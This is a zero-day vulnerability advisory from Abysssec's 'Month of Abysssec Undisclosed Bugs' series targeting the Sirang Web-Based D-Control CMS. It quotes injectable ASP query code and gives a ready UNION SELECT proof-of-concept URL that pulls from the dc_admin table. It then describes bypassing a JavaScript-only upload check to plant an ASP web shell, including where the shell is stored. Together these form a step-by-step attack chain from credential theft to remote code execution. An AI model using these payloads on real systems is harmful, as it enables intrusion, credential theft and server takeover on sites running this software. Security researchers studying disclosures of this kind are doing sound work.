'''
  __  __  ____         _    _ ____ 
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  Day 8 (0 day)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/
 
'''
 
- Title  : Sirang Web-Based D-Control Multiple Remote Vulnerabilities
- Affected Version : <= v6.0
- Vendor  Site   : http://www.sirang.com
 
- Discovery : Abysssec.com
 
 
 
Description :
 
this CMS suffer from OWASP top 10 !!!
some of there will come here ...
 
Vulnerabilites :
======================================================================================================================
1- SQL Injection
 
Vulnerability is located in content.asp
 
line 131-133
...
    txt="select * from news where del='false' and "+keyfld+"!='-' order by id desc limit 1"
    set rs=conn.execute(txt)
    while not rs.eof
...
 
content.asp line 202-206
...
if id<>"" then
                    txt10 ="select * from "+ cstr(tblname) +" where del='false' and id='"+ id +"'"
                    set xx = conn.execute(txt10)
                    if not xx.eof then
...            
 
lots of files those will have to do input validation from user input are vulnerable to SQL Injection .
 
PoC :
www.site.com/main_fa.asp?status=news&newsID=23'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/dc_admin/*
note : if you can't see result you need to do it blindly
 
 
======================================================================================================================
2- Bypass uploads restriction:
 
after you got user/pass with sql injection go to
http://site.com/admin/dc_upload.asp
 
js file line 13-34 :
 
 
function showthumb(file) {
    if (file !='') {
    myshowfile = file;
     
    extArray = new Array(".gif", ".jpg", ".png", ".bmp", ".jpe");
    allowSubmit = false;
    while (file.indexOf("\\") != -1)
    file = file.slice(file.indexOf("\\") + 1);
    ext = file.slice(file.indexOf(".")).toLowerCase();
    for (var i = 0; i < extArray.length; i++) {
    if (extArray[i] == ext) { allowSubmit = true; break; }
    }
     
    if (allowSubmit) thumb.src=myshowfile;
    else
    alert("Only files that end in types:  " + (extArray.join("  ")) + " could be previewd.");
    }
    else {
    alert("Only files that end in types:  " + (extArray.join("  ")) + " could be previewd.");
    }
}
  
as you can see the uploader will check malicious extention by javascript . just disable javascript and you can upload "ASP" shell.
 
you can find your shell in : www.site.com/0_site_com/[rnd-number].asp (the application itself will show you right rnd number after upload)